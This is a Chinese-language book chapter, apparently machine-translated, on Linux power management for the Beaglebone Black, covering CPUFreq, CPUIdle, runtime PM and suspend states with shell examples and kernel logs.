-系统电源管理的一些术语取自**高级配置和电源接口**(**ACPI**)规范:术语,如**C 状态**和**P 状态**。 当我们谈到它们时,我会对它们进行描述。 本规范的完整参考见*进一步阅读*部分。 - -在本章中,我们将具体介绍以下主题: - -* 测量用电量 -* 调整时钟频率 -* 选择最佳空闲状态 -* 关闭外围设备电源 -* 使系统进入休眠状态 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 一个基于 Linux 的系统 -* 适用于 Linux 的蚀刻器 -* 一种 microSD 卡读卡器和卡 -* USB 转 TTL 3.3V 串行电缆 -* ♪Beaglebone Black♪ -* 5V 1A 直流电源 -* 用于网络连接的以太网电缆和端口 - -本章的所有代码都可以在本书的 GitHub 存储库的`Chapter15`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 测量用电情况 - -对于本章中的示例,我们需要使用真实的硬件,而不是虚拟的。 这意味着我们需要一台具备工作电源管理功能的 Beaglebone Black。 不幸的是,`meta-yocto-bsp`层附带的 Beaglebone 的 BSP 不包括**电源管理 IC**(**PMIC**)所需的固件,因此我们将使用 -预置的 Debian 映像。 丢失的固件可能存在于`meta-ti`层,但我没有对此进行调查。 除 Debian 版本外,在 Beaglebone Black 上安装 Debian 的步骤与我们在[*第 12 章*](12.html#_idTextAnchor356),*使用分流板*原型中介绍的相同。 - -要下载 Beaglebone Black 的 Debian Stretch IoT microSD 卡映像,请发出以下命令: - -```sh -$ wget https://debian.beagleboard.oimg/bone-debian-9.9-iot-armhf-2019-08-03-4gb.img.xz -``` - -10.3(又名 Buster)是撰写本文时基于 AM335x 的 BeagleBones 的最新 Debian 图像。 我们将在本章的练习中使用 Debian 9.9,因为 Debian 10.3 附带的 Linux 内核缺少一些电源管理功能。 将 Debian Stretch IoT 映像下载到 microSD 卡后,使用 Etcher 将其写入 microSD 卡。 - -重要音符 - -如果可能,在本章的练习中,请下载 Debian 9.9 版(又名 Stretch),而不是从`BeagleBoard.org`下载最新的 Debian 映像。 Debian 10.3 版中缺少 CPUIdle 驱动程序,因此该发行版中缺少`menu`和`ladder`CPUIdle 调控器。 如果 9.9 版不再可用或不再受支持,请从`BeagleBoard.org`下载并尝试 -比 10.3 更新的 Debian 版本。 - -现在,在 Beaglebone 板不通电的情况下,将 microSD 卡插入读卡器。 插入串行电缆。 串行端口在您的 PC 上应显示为`/dev/ttyUSB0`。 启动适当的终端程序,如`gtkterm`、`minicom`或`picocom`,并以`115200`bps(比特/秒)的速度连接到端口,不进行流量控制。 `gtkterm`可能是最容易设置和使用的: - -```sh -$ gtkterm -p /dev/ttyUSB0 -s 115200 -``` - -如果您收到权限错误,则可能需要将自己添加到`dialout`组并重新启动才能使用此端口。 - -按住 Beaglebone Black 上的 Boot Switch 按钮(距离 microSD 插槽最近),使用外部 5V 电源接头接通主板电源,大约 5 秒钟后松开按钮。 您应该会看到 U-Boot 输出、内核日志输出,并最终在串行控制台上看到登录提示: - -```sh -Debian GNU/Linux 9 beaglebone ttyS0 -BeagleBoard.org Debian Image 2019-08-03 -Support/FAQ: http://elinux.org/Beagleboard:BeagleBoneBlack_Debian -default username:password is [debian:temppwd] -beaglebone login: debian -Password: -``` - -以、`debian`用户身份登录。 密码为`temppwd`,如上图所示。 - -重要音符 - -许多 Beaglebone Black 在板载闪存上已经安装了 Debian,所以即使没有插入 microSD 卡,它们仍然可以引导。 如果在密码提示之前显示`BeagleBoard.org Debian Image 2019-08-03`消息,那么 Beaglebone Black 很可能是从 microSD 上的 Debian 9.9 映像启动的。 如果在密码提示之前显示不同的 Debian Release 消息,请验证 microSD 卡是否正确插入。 - -要检查哪个版本的 Debian 正在运行,请运行以下命令: - -```sh -debian@beaglebone:~$ cat /etc/os-release -PRETTY_NAME="Debian GNU/Linux 9 (stretch)" -NAME="Debian GNU/Linux" -VERSION_ID="9" -VERSION="9 (stretch)" -ID=debian -HOME_URL="https://www.debian.org/" -SUPPORT_URL="https://www.debian.org/support" -BUG_REPORT_URL="https://bugs.debian.org/" -``` - -现在检查电源管理是否正常工作: - -```sh -debian@beaglebone:~$ cat /sys/power/state -freeze standby mem disk -``` - -如果您看到所有四个状态,则一切运行正常。 如果只看到`freeze`,则电源管理子系统不工作。 返回并仔细检查前面的步骤。 - -现在,我们可以继续测量电源使用情况。 有两种方法:*外部*和*内部*。 从外部测量功率,从系统外部,我们只需要一个电流表测量电流,一个电压表测量电压,然后把这两个相乘得到瓦数。 你可以使用给出读数的基本仪表,然后记录下来。 或者,它们可以更加复杂,并结合数据记录,以便您可以在负载一毫秒一毫秒地变化时看到功率的变化。 出于本章的目的,我从迷你 USB 端口为 Beaglebone 供电,并使用了一台便宜的 USB 电源监视器 -,这款显示器的价格只有几美元。 - -另一种方法是使用 Linux 内置的监控系统。 您会发现,通过`sysfs`向您报告了大量信息。 还有一个非常有用的程序,称为**PowerTOP**,它从各种来源收集信息并在一个地方显示。 PowerTOP 是一个同时适用于 Yocto 项目和 Buildroot 的软件包。 它也可以安装在 Debian 上。 - -要从 Debian Stretch IoT 在 Beaglebone Black 上安装 PowerTop,请运行以下命令: - -```sh -debian@beaglebone:~$ sudo apt update -[…] -debian@beaglebone:~$ sudo apt install powertop -Reading package lists... Done -Building dependency tree -Reading state information... Done -Suggested packages: - laptop-mode-tools -The following NEW packages will be installed: - powertop -0 upgraded, 1 newly installed, 0 to remove and 151 not upgraded. -Need to get 177 kB of archives. -After this operation, 441 kB of additional disk space will be used. -Get:1 http://deb.debian.org/debian stretch/main armhf powertop armhf 2.8-1+b1 [177 kB] -Fetched 177 kB in 0s (526 kB/s) -``` - -在安装 PowerTOP 之前,不要忘记将 Beaglebone Black 插入以太网,并更新可用的软件包列表。 - -下面是在 Beaglebone Black 上运行的 PowerTOP 示例: - -![Figure 15.1 – PowerTOP overview](img/B11566_15_01.jpg) - -图 15.1-PowerTOP 概述 - -在此屏幕截图中,我们可以看到系统处于静默状态,CPU 使用率仅为**3.5%**。 -稍后我将在本章的*使用 CPUFreq*和*CPUIdle 驱动程序*小节中展示更多有趣的示例。 - -现在我们已经有了一种测量功耗的方法,让我们来看一下在嵌入式 Linux 系统中管理电源所必须的最大的旋钮之一:时钟频率。 - -# 调整时钟频率 - -跑步一公里比步行更消耗体力。 以类似的方式,也许以较低的频率运行 CPU 可以节省能源。 让我们看看。 - -CPU 在执行代码时的功耗是由栅极泄漏电流等引起的静态分量和由栅极切换引起的动态分量的总和: - -*P**CPU*=*P**静态*+*P**DYN* - -动态功率分量取决于被切换的逻辑门的总电容、时钟频率和电压的平方: - -*P**dyn*=*CfV**2* - -由此可以看出,改变频率本身不会节省任何电能,因为执行给定子例程必须完成相同数量的 CPU 周期。 如果我们将频率降低一半,完成计算的时间将增加一倍,但由于动态功率分量而消耗的总功率将是相同的。 事实上,降低频率实际上可能会增加功率预算,因为 CPU 需要更长的时间才能进入空闲状态。 因此,在这些情况下,最好使用尽可能高的频率,以便 CPU 可以快速返回空闲状态。 这种称为空闲的**竞赛**。 - -重要音符 - -还有另一个降低频率的动机:**热管理**。 为了将包装温度保持在一定范围内,可能需要以较低的频率操作。 但这不是我们在这里关注的重点。 - -因此,如果我们想要省电,我们必须能够改变 CPU 内核的工作电压。 但是对于任何给定的电压,存在一个最大频率,超过这个频率,门的开关就变得不可靠。 更高的频率需要更高的电压,因此两者需要一起调整。 许多 SoC 实现了这样的功能:它被称为**动态电压和频率缩放**,或**DVFS**。 制造商计算核心频率和电压的最佳组合。 每个组合称为**运行性能点**,或**OPP**。 ACPI 规范将它们称为**P 状态**,其中`P0`是频率最高的 OPP。 虽然 OPP 是频率和电压的组合,但通常仅用频率系数来指代。 - -在 P 状态之间切换需要内核驱动程序。 接下来,我们将查看该驱动程序和控制它的州长。 - -## CPUFreq 驱动程序 - -Linux 有一个名为**CPUFreq**的组件,用于管理 OPP 之间的转换。 它是每个 SoC 封装的主板支持的一部分。 CPUFreq 由`drivers/cpufreq/`中的驱动程序(完成从一个 OPP 到另一个 OPP 的转换)和一组执行何时切换策略的调控器组成。 它是通过`/sys/devices/system/cpu/cpuN/cpufreq`目录按 CPU 进行控制的,其中`N`是 CPU 编号。 在那里,我们发现了一些文件,其中最有趣的如下: - -* `cpuinfo_cur_freq`、`cpuinfo_max_freq`和`cpuinfo_min_freq`:该 CPU 的当前频率,以及最大和最小频率,单位为 kHz。 -* `cpuinfo_transition_latency`:从一个 OPP 切换到另一个 OPP 的时间,以纳秒为单位。 如果该值未知,则将其设置为`-1`。 -* `scaling_available_frequencies`:此 CPU 上可用的 OPP 频率列表。 -* `scaling_available_governors`:此 CPU 上可用的调控器列表。 -* `scaling_governor`:当前使用的 CPUFreq 调控器。 -* `scaling_max_freq`和`scaling_min_freq`:调速器可用的频率范围,单位为 kHz。 -* `scaling_setspeed`:一个文件,允许您在调控器为`userspace`时手动设置频率,我将在本小节末尾介绍。 - -调速器将策略设置为更改 OPP。 它可以在`scaling_min_freq`和`scaling_max_freq`的 -限值之间设置频率。 省长的名字 -如下: - -* `powersave`:始终选择最低频率。 -* `performance`:始终选择最高频率。 -* `ondemand`:根据 CPU 利用率更改频率。 如果 CPU 空闲时间少于 20%,则将频率设置为最大值;如果 CPU 空闲时间超过 30%,则将频率递减 5%。 -* `conservative`:与`ondemand`相似,但以 5%的步长切换到更高的频率,而不是立即切换到最大频率。 -* `userspace`:频率由用户空间程序设置。 - -Debian 启动时的默认调控器为`performance`: - -```sh -$ cd /sys/devices/system/cpu/cpu0/cpufreq -$ cat scaling_governor -performance -``` - -要切换到`ondemand`调控器,这是我们应该在本章的练习中使用的调控器,请运行以下命令: - -```sh -$ sudo cpupower frequency-set -g ondemand -[sudo] password for debian: -Setting cpu: 0 -``` - -提示输入密码时,输入`temppwd`。 - -可以通过`/sys/devices/system/cpu/cpufreq/ondemand/`查看和修改`ondemand`调速器用来决定何时更改 OPP 的参数。 `ondemand`和`conservative`调速器都会考虑改变频率和电压所需的努力。 此参数在`cpuinfo_transition_latency`中。 这些计算是针对具有正常调度策略的线程进行的;如果线程是实时调度的,则它们都会立即选择最高的 OPP,以便线程能够满足其调度截止日期。 - -`userspace`调控器允许用户空间守护进程执行选择 OPP 的逻辑。 示例包括`cpudyn`和`powernowd`,尽管它们都面向基于 x86 的笔记本电脑,而不是嵌入式设备。 - -既然我们知道了有关 CPUFreq 驱动程序的运行时详细信息位于何处,让我们来看一下如何在编译时定义 opp。 - -## 使用 CPUFreq - -查看 Beaglebone Black,我们发现 OPP 编码在设备树中。 以下是`am33xx.dtsi`的摘录: - -```sh -cpu0_opp_table: opp-table { - compatible = "operating-points-v2-ti-cpu"; - syscon = <&scm_conf>; - […] - opp50-300000000 { - opp-hz = /bits/ 64 <300000000>; - opp-microvolt = <950000 931000 969000>; - opp-supported-hw = <0x06 0x0010>; - opp-suspend; - }; - […] - opp100-600000000 { - opp-hz = /bits/ 64 <600000000>; - opp-microvolt = <1100000 1078000 1122000>; - opp-supported-hw = <0x06 0x0040>; - }; - […] - opp120-720000000 { - opp-hz = /bits/ 64 <720000000>; - opp-microvolt = <1200000 1176000 1224000>; - opp-supported-hw = <0x06 0x0080>; - }; - […] - oppturbo-800000000 { - opp-hz = /bits/ 64 <800000000>; - opp-microvolt = <1260000 1234800 1285200>; - opp-supported-hw = <0x06 0x0100>; - }; - oppnitro-1000000000 { - opp-hz = /bits/ 64 <1000000000>; - opp-microvolt = <1325000 1298500 1351500>; - opp-supported-hw = <0x04 0x0200>; - }; -}; -``` - -我们可以通过查看可用的频率来确认这些是运行时使用的 OP: - -```sh -$ cd /sys/devices/system/cpu/cpu0/cpufreq -$ cat scaling_available_frequencies -300000 600000 720000 800000 1000000 -``` - -通过选择`userspace`调速器,我们可以通过写入`scaling_setspeed`来设置频率,因此我们可以测量每个 OPP 的功耗。 这些测量不是很准确,所以不要太当真。 - -首先,在系统空闲的情况下,结果是 70 mA@4.6V=320 mW。 这与频率无关,这是我们所期望的,因为这是此特定系统功耗的静态分量。 - -现在,我想知道通过运行如下计算绑定负载每个 OPP 消耗的最大功率: - -```sh -# dd if=/dev/urandom of=/dev/null bs=1 -``` - -下表显示了结果,其中**增量功率**是空闲系统之上的额外功耗: - -![](img/B11566_15_Table_01.jpg) - -这些测量结果显示了不同 OPPS 下的最大功率。 但这不是一个公平的测试,因为 CPU 正在 100%地运行,因此它以更高的频率执行更多的指令。 如果我们保持负载不变,但改变频率,那么我们会发现 -如下: - -![](img/B11566_15_Table_02.jpg) - -这表明在最低频率下有明确的节电效果,大约为 15%。 - -使用 PowerTOP,我们可以看到在每个 OPP 中花费的时间百分比。 下面的屏幕截图显示 Beaglebone Black 使用`ondemand`调控器运行轻负载: - -![Figure 15.2 – PowerTOP Frequency stats](img/B11566_15_02.jpg) - -图 15.2-PowerTOP 频率统计信息 - -在大多数情况下,`ondemand`调控器是最好的调控器。 要选择特定的调控器,可以使用默认调控器(例如`CPU_FREQ_DEFAULT_GOV_ONDEMAND`)配置内核,也可以使用引导脚本在引导时更改调控器。 在`MELP/Chapter15/cpufrequtils`中有一个取自 Debian 的示例 system V`init`脚本。 - -有关 CPUFreq 驱动程序的更多信息,请查看 Linux 内核源代码树的`Documentation/cpu-freq`目录中的文件。 - -在本节中,我们关注的是 CPU 繁忙时使用的功率。 在下一节中,我们将了解如何在 CPU 空闲时节能。 - -# 选择最佳空闲状态 - -当处理器没有更多的工作要做时,它执行**停止指令**并进入 -空闲状态。 在空闲时,CPU 消耗的电量较少。 当发生硬件中断等事件 -时,它退出空闲状态。 大多数 CPU 都有多个空闲状态,使用的电量 -各不相同。 通常,在功耗和退出状态所需的延迟或时间长度之间需要权衡。 在 ACPI 规范中,它们被称为**C 状态**。 - -在更深的 C 状态中,更多的电路被关闭,代价是失去一些状态,因此需要更长的时间才能恢复正常操作。 例如,在某些 C 状态下,CPU 缓存可能会断电,因此当 CPU 再次运行时,它可能必须从主存储器重新加载一些信息。 这样做的代价很高,因此只有在 CPU 很有可能保持这种状态一段时间的情况下才想这样做。 不同系统的状态数各不相同。 每个人都需要一些时间才能从睡眠恢复到完全活跃。 - -选择正确的空闲状态的关键是要很好地了解 CPU 将静止多长时间。 预测未来总是很棘手的,但有些事情可能会有所帮助。 一个是当前的 CPU 负载:如果现在的 CPU 负载很高,很可能在不久的将来还会继续如此,所以深度睡眠不会有好处。 即使负载很低,也值得查看是否有即将到期的计时器事件。 如果没有负载和计时器,则更深的空闲状态是合理的。 - -Linux 中选择最佳空闲状态的部分是 CPUIdle 驱动程序。 在 Linux 内核源代码树的`Documentation/cpuidle`目录中有大量关于它的信息。 - -## CPUIdle 驱动程序 - -与 CPUFreq 子系统一样,**CPUIdle**由作为 BSP 一部分的驱动程序和确定策略的调控器组成。 然而,与 CPUFreq 不同的是,调控器不能在运行时更改,并且没有用于用户空间调控器的界面。 - -CPUIdle 公开了关于`/sys/devices/system/cpu/cpu0/cpuidle`目录中每个空闲状态的信息,在该目录中,每个休眠状态都有一个子目录,名为`state0`到`stateN`。 `state0`是最浅的睡眠,`stateN`是最深的睡眠。 请注意,编号与 C 状态的编号不匹配,并且 CPUIdle 没有与`C0`(运行)等效的状态。 对于每个州,都有以下文件: - -* `desc`:状态的简短描述 -* `disable`:通过将`1`写入此文件来禁用此状态的选项 -* `latency`:退出此状态时 CPU 内核恢复正常运行所需的时间,以微秒为单位 -* `name`:此状态的名称 -* `power`:在此空闲状态下消耗的功率,以毫瓦为单位 -* `time`:处于此空闲状态的总时间,以微秒为单位 -* `usage`:进入此状态的次数计数 - -对于 Beaglebone Black 上的 AM335x SoC,有两种空闲状态。 以下是第一条: - -```sh -$ cd /sys/devices/system/cpu/cpu0/cpuidle -$ grep "" state0/* -state0/desc:ARM WFI -state0/disable:0 -state0/latency:1 -state0/name:WFI -state0/power:4294967295 -state0/residency:1 -state0/time:1023898 -state0/usage:1426 -``` - -该状态名为`WFI`,指的是 ARM 停止指令**等待中断**。 延迟是`1`微秒,因为它只是一条停止指令,并且所消耗的功率是`-1`,这意味着功率预算是未知的(至少 CPUIdle 是已知的)。 现在,这是第二个状态: - -```sh -$ cd /sys/devices/system/cpu/cpu0/cpuidle -$ grep "" state1/* -state1/desc:mpu_gate -state1/disable:0 -state1/latency:130 -state1/name:mpu_gate -state1/power:0 -state1/residency:300 -state1/time:139156260 -state1/usage:7560 -``` - -这个名字叫`mpu_gate`。 它的延迟更高,为`130`微秒。 空闲状态可以硬编码到 CPUIle 驱动程序中或呈现在设备树中。 以下是`am33xx.dtsi`的摘录: - -```sh -cpus { - cpu@0 { - compatible = "arm,cortex-a8"; - enable-method = "ti,am3352"; - device_type = "cpu"; - reg = <0>; -. -. -. - cpu-idle-states = <&mpu_gate>; - }; - idle-states { - mpu_gate: mpu_gate { - compatible = "arm,idle-state"; - entry-latency-us = <40>; - exit-latency-us = <90>; - min-residency-us = <300>; - ti,idle-wkup-m3; - }; - }; -} -``` - -CPUIdle 有两个调控器: - -* `ladder`:根据上一个空闲时间段的时间,这将使空闲状态下降或上升,一次一个。 它可以很好地与常规计时器滴答配合使用,但不能与 - 动态滴答配合使用。 -* `menu`:这将根据预期空闲时间选择空闲状态。 它可以很好地与动态记号系统配合使用。 - -您应该根据您的`NO_HZ`配置选择其中之一,我将在本节末尾介绍。 - -同样,用户交互是通过`sysfs`文件系统进行的。 在`/sys/devices/system/cpu/cpuidle`目录中,您将找到两个文件: - -* `current_driver`:这是`cpuidle`驱动程序的名称。 -* `current_governor_ro`:这是州长的名字。 - -这些显示正在使用哪个驱动程序和哪个调控器。 空闲状态可以在 PowerTOP 的`Idle stats`选项卡上显示。 下面的屏幕截图显示了使用`menu`调控器的 Beaglebone Black: - -![Figure 15.3 – PowerTOP Idle stats](img/B11566_15_03.jpg) - -图 15.3-PowerTOP 空闲统计信息 - -这表明当系统空闲时,它主要进入更深的`mpu_gate`空闲状态,这正是我们想要的。 - -即使在 CPU 完全空闲的情况下,大多数 Linux 系统仍配置为在收到系统计时器中断时定期唤醒。 为了节省更多电量,我们需要将 Linux 内核配置为无计时运行。 - -## 无卡作业 - -一个相关的主题是无勾选(或称`NO_HZ`)选项。 如果系统真正空闲,最有可能的中断来源将是系统计时器,它被编程为以每秒 HZ 的速率生成 -常规时间滴答,其中 HZ 通常为 100。 在历史上,Linux 使用计时器滴答作为测量超时的主要时基。 - -然而,如果在特定时刻没有注册计时器事件,那么唤醒 CPU 来处理计时器中断显然是浪费的。 动态计时内核配置选项`CONFIG_NO_HZ_IDLE`在计时器处理例程结束时查看计时器队列,并在下一个事件发生时安排下一个中断,从而避免不必要的唤醒并允许 CPU 长时间空闲。 在任何对功率敏感的应用中,内核都应该配置为启用此选项。 - -虽然 CPU 消耗了嵌入式 Linux 系统中的大量电力,但系统的其他组件也可以关闭以节省能源。 - -# 关闭外围设备电源 - -到目前为止,的讨论一直是关于 CPU 以及如何在它们运行或空闲时降低功耗。 现在是时候关注系统外围设备的其他部分了,看看我们能否在这里实现节能。 - -在 Linux 内核中,这个由**运行时电源管理系统**或**运行时 PM**管理。 它与支持运行时 PM 的驱动程序协同工作,关闭那些不使用的驱动程序,并在下次需要它们时再次唤醒它们。 它是动态的,对用户空间应该是透明的。 硬件的管理由设备驱动程序来实现,但通常包括关闭子系统的时钟,也称为时钟门控,并在可能的情况下关闭核心电路。 - -运行时电源管理通过`sysfs`接口公开。 每个设备都有一个名为`power`的子目录 -,您可以在其中找到以下文件: - -* `control`:这允许用户空间确定此设备上是否使用运行时 PM。 如果将其设置为`auto`,则会启用运行时 PM,但通过将其设置为`on`,设备将始终处于打开状态,并且不使用运行时 PM -* `runtime_enabled`:报告运行时 pm 为`enabled`、`disabled`,或者,如果`control`为`on`,则报告`forbidden`。 -* `runtime_status`:它报告设备的当前状态。 它可以是`active`、`suspended`或`unsupported`。 -* `autosuspend_delay_ms`:这是设备挂起前的时间。 `-1`意味着永远等待。 如果挂起设备硬件的成本很高,因为它会阻止快速挂起/恢复周期,则一些驱动程序会实现这一点。 - -为了给出一个具体的例子,我将查看 Beaglebone Black 上的 MMC 驱动程序: - -```sh -$ cd /sys/devices/platform/ocp/481d8000.mmc/mmc_host/mmc1/mmc1:0001/power -$ grep "" * -async:enabled -autosuspend_delay_ms:3000 -control:auto -runtime_active_kids:0 -runtime_active_time:14464 -runtime_enabled:enabled -runtime_status:suspended -runtime_suspended_time:121208 -runtime_usage:0 -``` - -因此,运行时 PM 已启用,设备当前处于挂起状态,并且在上次使用之后有`3000`毫秒的延迟,然后才会再次挂起。 现在,我从设备中读取一个数据块,并查看它是否已更改: - -```sh -$ sudo dd if=/dev/mmcblk1p3 of=/dev/null count=1 -1+0 records in -1+0 records out -512 bytes copied, 0.00629126 s, 81.4 kB/s -$ grep "" * -async:enabled -autosuspend_delay_ms:3000 -control:auto -runtime_active_kids:0 -runtime_active_time:17120 -runtime_enabled:enabled -runtime_status:active -runtime_suspended_time:178520 -runtime_usage:0 -``` - -现在,MMC 驱动器处于活动状态,电路板的功率从 320 mW 增加到 500 mW。 如果我在 3 秒后再重复一次,它将再次暂停,电源已恢复到 320 mW。 - -有关运行时 pm 的更多信息,请查看位于`Documentation/power/runtime_pm.txt`的 Linux 内核源代码。 - -现在我们已经了解了运行时 pm 是什么以及它做了什么,让我们来看看它的实际操作。 - -# 使系统进入休眠状态 - -还有一种电源管理技术需要考虑:将整个系统置于休眠模式,并期望它在一段时间内不会再次使用。 在 Linux 内核中,这称为,称为**系统休眠**。 它通常是由用户发起的:用户决定设备应该关闭一段时间。 例如,到了回家的时候,我会关上笔记本电脑的盖子,然后把它放进包里。 Linux 对系统睡眠的大部分支持来自对笔记本电脑的支持。 在笔记本电脑领域,通常有两种选择: - -* 暂不实行 / 暂停 / 悬浮 / 延留 -* 冬眠 / 过冬 / 避寒 / 蛰居 - -第一种模式也称为**挂起到 RAM**,它会关闭除系统内存之外的所有设备,因此机器仍在消耗一些电量。 当系统唤醒时,内存会保留所有以前的状态,而我的笔记本电脑在几秒钟内就可以运行了。 - -如果我选择**休眠**选项,内存中的内容将保存到硬盘上。 系统根本不消耗电量,因此它可以无限期地保持这种状态,但是在唤醒时,从磁盘恢复内存需要一些时间。 Hibernate 很少在嵌入式系统中使用,主要是因为闪存的读/写速度非常慢,但也因为它会干扰工作流。 - -有关更多信息,请查看`Documentation/power`目录中的内核源代码。 - -挂起到 RAM 和休眠选项映射到 Linux 支持的四种睡眠状态中的两种。 接下来,我们将研究这两种类型的系统休眠以及其余的 ACPI 电源状态。 - -## 电源状态 - -在 ACPI 规范中,休眠状态被称为**S 状态**。 Linux 支持四种休眠状态(`freeze`、`standby`、`mem`和`disk`),如下列表所示,以及相应的 ACPI S 状态([S0]、S1、S3、S4): - -* `freeze` ([S0]): Stops (freezes) all activity in user space, but otherwise the CPU and memory are operating as normal. - - 省电的原因是没有用户空间代码正在运行。 ACPI 没有等效状态,因此 S0 是最接近的匹配。 S0 是 - 正在运行的系统的状态。 - -* `standby`(S1):与`freeze`类似,但另外会使除引导 CPU 之外的所有 CPU 脱机。 -* `mem`(S3):关闭系统电源,并将存储器置于自刷新模式。 也称为挂起到 RAM。 -* `disk`(S4):将内存保存到硬盘并关闭电源。 也称为**挂起到磁盘**。 - -并非所有系统都支持所有州。 要找出哪些可用,请阅读`/sys/power/state`文件,如下所示: - -```sh -# cat /sys/power/state -freeze standby mem disk -``` - -要进入系统睡眠状态之一,只需将所需状态写入`/sys/power/state`。 - -对于嵌入式设备,最常见的需要是使用`mem`选项挂起到 RAM。 例如,我可以这样挂起 Beaglebone Black: - -```sh -# echo mem > /sys/power/state -[ 1646.158274] PM: Syncing filesystems ...done. -[ 1646.178387] Freezing user space processes ... (elapsed 0.001 seconds) done. -[ 1646.188098] Freezing remaining freezable tasks ... (elapsed 0.001 seconds) done. -[ 1646.197017] Suspending console(s) (use no_console_suspend to debug) -[ 1646.338657] PM: suspend of devices complete after 134.322 msecs -[ 1646.343428] PM: late suspend of devices complete after 4.716 msecs -[ 1646.348234] PM: noirq suspend of devices complete after 4.755 msecs -[ 1646.348251] Disabling non-boot CPUs ... -[ 1646.348264] PM: Successfully put all powerdomains to target state -``` - -该设备在不到一秒的时间内关闭电源,然后功耗降至 10 毫瓦以下,这是我的简易万用表的测量极限。 但是我怎么才能再次唤醒它呢? 这是下一个话题。 - -## 唤醒事件 - -在暂停设备之前,必须有再次唤醒它的方法。 内核试图在此帮助您:如果没有至少一个唤醒源,系统将拒绝挂起,并显示以下消息: - -```sh -No sources enabled to wake-up! Sleep abort. -``` - -当然,这意味着即使在最深度睡眠期间,系统的某些部分也必须保持通电。 该通常包括**电源管理 IC**(**PMIC**)、**实时时钟**(**RTC**),并且可以另外包括诸如 GPIO、UART、 -和以太网等接口。 - -唤醒事件通过`sysfs`控制。 `/sys/device`中的每个设备都有一个名为`power`的子目录,其中包含一个`wakeup`文件,该文件将包含以下字符串之一: - -* `enabled`:此设备将生成唤醒事件。 -* `disabled`:此设备不会生成唤醒事件。 -* (空):此设备无法生成唤醒事件。 - -要获取可以生成唤醒的设备列表,我们可以搜索`wakeup`包含`enabled`或`disabled`的所有设备: - -```sh -$ find /sys/devices/ -name wakeup | xargs grep "abled" -``` - -在 Beaglebone Black 的情况下,UART 是唤醒源,因此按下控制台上的某个键会唤醒 Beaglebone: - -```sh -[ 1646.348264] PM: Wakeup source UART -[ 1646.368482] PM: noirq resume of devices complete after 19.963 msecs -[ 1646.372482] PM: early resume of devices complete after 3.192 msecs -[ 1646.795109] net eth0: initializing cpsw version 1.12 (0) -[ 1646.798229] net eth0: phy found : id is : 0x7c0f1 -[ 1646.798447] libphy: PHY 4a101000.mdio:01 not found -[ 1646.798469] net eth0: phy 4a101000.mdio:01 not found on slave 1 -[ 1646.927874] PM: resume of devices complete after 555.337 msecs -[ 1647.003829] Restarting tasks ... done. -``` - -我们已经了解了如何让设备进入睡眠状态,然后通过来自 UART 等外围接口的事件将其唤醒。 如果我们希望设备在没有任何外部交互的情况下唤醒自己,该怎么办? 这就是 RTC 发挥作用的地方。 - -## 从实时时钟定时唤醒 - -大多数系统都有 RTC,它可以在将来产生长达 24 小时的报警中断。 如果是,则`/sys/class/rtc/rtc0`目录将存在。 它应该包含`wakealarm`文件。 将数字写入`wakealarm`将导致在该秒数之后生成报警。 如果还从`rtc`启用`wakeup`事件,则 RTC 将恢复挂起的设备。 - -例如,此`rtcwake`命令将使系统进入`standby`,RTC 在 5 秒后将其唤醒: - -```sh -$ sudo su – -# rtcwake -d /dev/rtc0 -m standby -s 5 - rtcwake: assuming RTC uses UTC ... - rtcwake: wakeup from "standby" using /dev/rtc0 at Tue Dec 1 19:34:10 2020 -[ 187.345129] PM: suspend entry (shallow) -[ 187.345148] PM: Syncing filesystems ... done. -[ 187.346754] Freezing user space processes ... (elapsed 0.003 seconds) done. -[ 187.350688] OOM killer disabled. -[ 187.350789] Freezing remaining freezable tasks ... (elapsed 0.001 seconds) done. -[ 187.352361] Suspending console(s) (use no_console_suspend to debug) -[ 187.500906] Disabling non-boot CPUs ... -[ 187.500941] pm33xx pm33xx: PM: Successfully put all powerdomains to target state -[ 187.500941] PM: Wakeup source RTC Alarm -[ 187.529729] net eth0: initializing cpsw version 1.12 (0) -[ 187.605061] SMSC LAN8710/LAN8720 4a101000.mdio:00: attached PHY driver [SMSC LAN8710/LAN8720] (mii_bus:phy_addr=4a101000.mdio:00, irq=POLL) -[ 187.731543] OOM killer enabled. -[ 187.731563] Restarting tasks ... done. -[ 187.756896] PM: suspend exit -``` - -由于 UART 也是唤醒源,按下控制台上的某个键将在 RTC`wakealarm`到期之前唤醒 BeagleboneBlack: - -```sh -[ 255.698873] PM: suspend entry (shallow) -[ 255.698894] PM: Syncing filesystems ... done. -[ 255.701946] Freezing user space processes ... (elapsed 0.003 seconds) done. -[ 255.705249] OOM killer disabled. -[ 255.705256] Freezing remaining freezable tasks ... (elapsed 0.002 seconds) done. -[ 255.707827] Suspending console(s) (use no_console_suspend to debug) -[ 255.860823] Disabling non-boot CPUs ... -[ 255.860857] pm33xx pm33xx: PM: Successfully put all powerdomains to target state -[ 255.860857] PM: Wakeup source UART -[ 255.888064] net eth0: initializing cpsw version 1.12 (0) -[ 255.965045] SMSC LAN8710/LAN8720 4a101000.mdio:00: attached PHY driver [SMSC LAN8710/LAN8720] (mii_bus:phy_addr=4a101000.mdio:00, irq=POLL) -[ 256.093684] OOM killer enabled. -[ 256.093704] Restarting tasks ... done. -[ 256.118453] PM: suspend exit -``` - -Beaglebone Black 上的电源按钮也是一个唤醒源,因此您可以在没有串行控制台的情况下使用该按钮从`standby`恢复。 确保按下电源按钮,而不是旁边的重置按钮,否则主板将重新启动。 - -我们对四种 Linux 系统休眠模式的介绍到此结束。 我们了解了如何将设备挂起到`mem`或`standby`电源状态,然后通过 UART、RTC 或电源按钮的事件将其唤醒。 虽然 Linux 中的运行时 PM 主要是为笔记本电脑创建的,但我们也可以利用这一支持来支持同样使用电池供电的嵌入式系统。 - -# 摘要 - -Linux 具有复杂的电源管理功能。 我已经描述了四个 -主要组件: - -* **CPUFreq**更改每个处理器内核的 OPP,以减少繁忙但有一些空闲带宽的处理器上的功率,从而允许缩减频率。 在 ACPI 规范中,OP 称为 P 状态。 -* **CPUIdle**在 CPU 预计一段时间内不会被唤醒时,选择更深的空闲状态。 空闲状态在 ACPI 规范中称为 C 状态。 -* **运行时 PM**将关闭不需要的外围设备。 -* **系统休眠**模式将使整个系统进入低功耗状态。 它们通常在最终用户的控制下,例如,通过按下待机按钮。 系统休眠状态在 ACPI 规范中称为 S 状态。 - -大部分电源管理由 BSP 为您完成。 您的主要任务是确保针对您的预期用例正确配置它。 